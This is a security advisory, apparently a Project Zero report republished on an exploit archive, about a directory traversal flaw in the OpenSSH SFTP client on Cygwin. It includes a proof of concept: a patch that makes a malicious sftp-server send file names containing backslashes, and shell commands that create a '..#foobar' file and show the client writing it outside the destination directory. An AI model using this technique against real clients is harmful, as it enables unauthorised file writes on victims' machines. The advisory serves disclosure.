OpenSSH On Cygwin SFTP Client Directory Traversal Vulnerability

OpenSSH on Cygwin: directory traversal in SFTP client 

Portable OpenSSH supports running on Cygwin. However, the SFTP client only filters out forward slashes (in do_lsreaddir()) and the directory names "." and ".." (in download_dir_internal()). On Windows, including in Cygwin, backslashes can also be used for directory traversal.

To reproduce:

On the server:

Patch OpenSSH like this, then build it:

--- openssh-7.4p1/sftp-server.c 2016-12-18 20:59:41.000000000 -0800
+++ openssh-7.4p1-patched/sftp-server.c 2016-12-20 15:55:34.980000300 -0800
@@ -1065,10 +1065,11 @@
                            strcmp(path, "/") ? "/" : "", dp->d_name);
                        if (lstat(pathname, &st) < 0)
                                continue;
                        stat_to_attrib(&st, &(stats[count].attrib));
                        stats[count].name = xstrdup(dp->d_name);
+for (i=0; i<strlen(stats[count].name); i++) if (stats[count].name[i] == '#') stats[count].name[i] = '\\';
                        stats[count].long_name = ls_file(dp->d_name, &st, 0, 0);
                        count++;
                        /* send up to 100 entries in one message */
                        /* XXX check packet size instead */
                        if (count == 100)

Ensure that an OpenSSH server is running.

Create the following directory structure:

[email protected] ~
$ mkdir -p sourceparent/source
[email protected] ~
$ touch 'sourceparent/source/..#foobar'
[email protected] ~
$ echo foobar > sourceparent/foobar
[email protected] ~
$

Now, on the client (Cygwin on Windows 10), build OpenSSH, then recursively download a directory like this:

[email protected] ~
$ mkdir destparent
[email protected] ~
$ cd destparent/
[email protected] ~/destparent
$ ls -la
total 4
drwxr-xr-x+ 1 user None 0 Dec 20 16:24 .
drwxr-xr-x+ 1 user None 0 Dec 20 16:24 ..
[email protected] ~/destparent
$ ~/openssh-7.4p1/sftp -r -s /home/user/openssh-7.4p1-patched/sftp-server localhost:sourceparent/source dest
Connected to localhost.
Fetching /home/user/sourceparent/source/ to dest
Retrieving /home/user/sourceparent/source
[email protected] ~/destparent
$ ls -la
total 5
drwxr-xr-x+ 1 user None 0 Dec 20 16:24 .
drwxr-xr-x+ 1 user None 0 Dec 20 16:24 ..
drwxr-xr-x+ 1 user None 0 Dec 20 16:24 dest
-rwxr-xr-x  1 user None 7 Dec 20 16:24 foobar
[email protected] ~/destparent
$

As you can see, sftp created the file "foobar" outside the specified destination directory "dest".

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.



Found by: jannh

#  0day.today [2018-03-01]  #